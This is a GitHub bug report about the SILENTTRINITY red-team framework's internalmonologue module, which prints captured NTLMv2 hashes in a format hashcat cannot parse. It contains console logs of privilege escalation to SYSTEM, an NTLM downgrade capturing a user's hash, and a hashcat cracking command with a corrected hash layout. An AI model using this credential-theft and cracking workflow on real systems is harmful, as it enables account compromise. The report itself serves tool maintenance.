Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[BUG] Hash formatting issues with boo/internalmonologue #98

Open
jeffmcjunkin opened this issue Sep 11, 2019 · 0 comments
Open

[BUG] Hash formatting issues with boo/internalmonologue #98

jeffmcjunkin opened this issue Sep 11, 2019 · 0 comments
Assignees
Labels
bug Something isn't working good first issue Good for newcomers

Comments

@jeffmcjunkin
Copy link

Issue Template

Context

boo/internalmonologue doesn't show whether hash is NTLMv1 or NTLMv2, and gives wrong format for NTLMv2 hashes.

Upstream repo doesn't accept issues, so per conversation with @byt3bl33d3r I'm filing this here instead.

jeff@blue:~/dev/SILENTTRINITY$ git branch
* master
jeff@blue:~/dev/SILENTTRINITY$ git rev-parse HEAD
c3b397d85dbb471c4f202151d30100e4222215eb
  • SILENTTRINITY Version: Latest master branch
  • OS running the Client: Ubuntu 18.04 x64
  • Python Version Running the Client: Python 3.7.4+
  • OS running the TeamServer: Ubuntu 18.04 x64 (same system as client)
  • Python version running the Teamserver: Python 3.7.4 (same system as client)

Expected Behavior

If internalmonologue attack fails to retrieve an NTLMv1 hash and has to show the NTLMv2 one instead, it should be in the right format.

Current Behavior

Console output below. Victim is Windows 10 Enterprise 1809 as a VM, with Credential Guard enabled (using the Microsoft Device Guard readiness tool:

[1] ST (modules)(boo/internalmonologue) ≫ use boo/getsystem                                                                                                                                                        
[1] ST (modules)(boo/getsystem) ≫ run 3b42c305-a62d-4b6f-af79-de04691640f6                                                                                                                                         
[*] [TS-gipaL] 3b42c305-a62d-4b6f-af79-de04691640f6 returned job result (id: qDkTV0bDZ4)
Getting system...
Impersonating NT AUTHORITY\SYSTEM...
Processes for NT AUTHORITY\SYSTEM: 37
Attempting to impersonate: NT AUTHORITY\SYSTEM
Successfully impersonated: NT AUTHORITY\SYSTEM

[1] ST (modules)(boo/getsystem) ≫ use boo/internalmonologue                                                                                                                                                        
[1] ST (modules)(boo/internalmonologue) ≫ run 3b42c305-a62d-4b6f-af79-de04691640f6                                                                                                                                 
[*] [TS-gipaL] 3b42c305-a62d-4b6f-af79-de04691640f6 returned job result (id: mGySQy9xKR)
Running elevated
Performing NTLM Downgrade
Starting impersonation
S-1-5-21-2347759232-2198512603-1203408765-1000 RuntimeBroker
Impersonated user DESKTOP-2LDSJOS\sysadmin
sysadmin::DESKTOP-2LDSJOS:ec9363e3376248774cfccdfdb943ca96:01010000000000009a947f08f968d5019ef9ce3189e3fb3c00000000080030003000000000000000010000000020000058bb58d0a2bb73feee5a25dd573383f3472c272d8aa58d421695b376ded1cd930a00100000000000000000000000000000000000090030004400450053004b0054004f0050002d0032004c00440053004a004f0053005c00730079007300610064006d0069006e000000000000000000:1122334455667788

Restoring NTLM values

Trying to crack that hash with hashcat:

jeff@blue:~/dev/SILENTTRINITY$ sudo hashcat -m 5500 /tmp/ntlmv1.txt /opt/Passwords/breachcompilationuniq.txt -O -w4 --force 2>/dev/null| grep Token
Hashfile '/tmp/ntlmv1.txt' on line 1 (sysadm...64006d0069006e000000000000000000): Token length exception

Per hashcat documentation, the challenge in the NTLMv2 hash is in the wrong place from the internalmonologue attack. The fix is to put it after the computer name, as follows:

jeff@blue:~/dev/SILENTTRINITY$ cat /tmp/hash
sysadmin::DESKTOP-2LDSJOS:1122334455667788:ec9363e3376248774cfccdfdb943ca96:01010000000000009a947f08f968d5019ef9ce3189e3fb3c00000000080030003000000000000000010000000020000058bb58d0a2bb73feee5a25dd573383f3472c272d8aa58d421695b376ded1cd930a00100000000000000000000000000000000000090030004400450053004b0054004f0050002d0032004c00440053004a004f0053005c00730079007300610064006d0069006e000000000000000000

Failure Information

Shown above.

Steps to Reproduce

  1. Enable Credential Guard on a Windows 10 machine, physical or virtual.
  2. Gain an administrative (or SYSTEM) session and run the boo/internalmonologue module.
  3. Behavior is as above.

Failure Logs

I can provide more information if needed, but I think the above is enough to replicate this from scratch.

@byt3bl33d3r byt3bl33d3r added bug Something isn't working good first issue Good for newcomers labels Jan 27, 2020
@byt3bl33d3r byt3bl33d3r changed the title [BUG] Issues with boo/internalmonologue [BUG] Hash formatting issues with boo/internalmonologue Jan 27, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working good first issue Good for newcomers
Projects
None yet
Development

No branches or pull requests

2 participants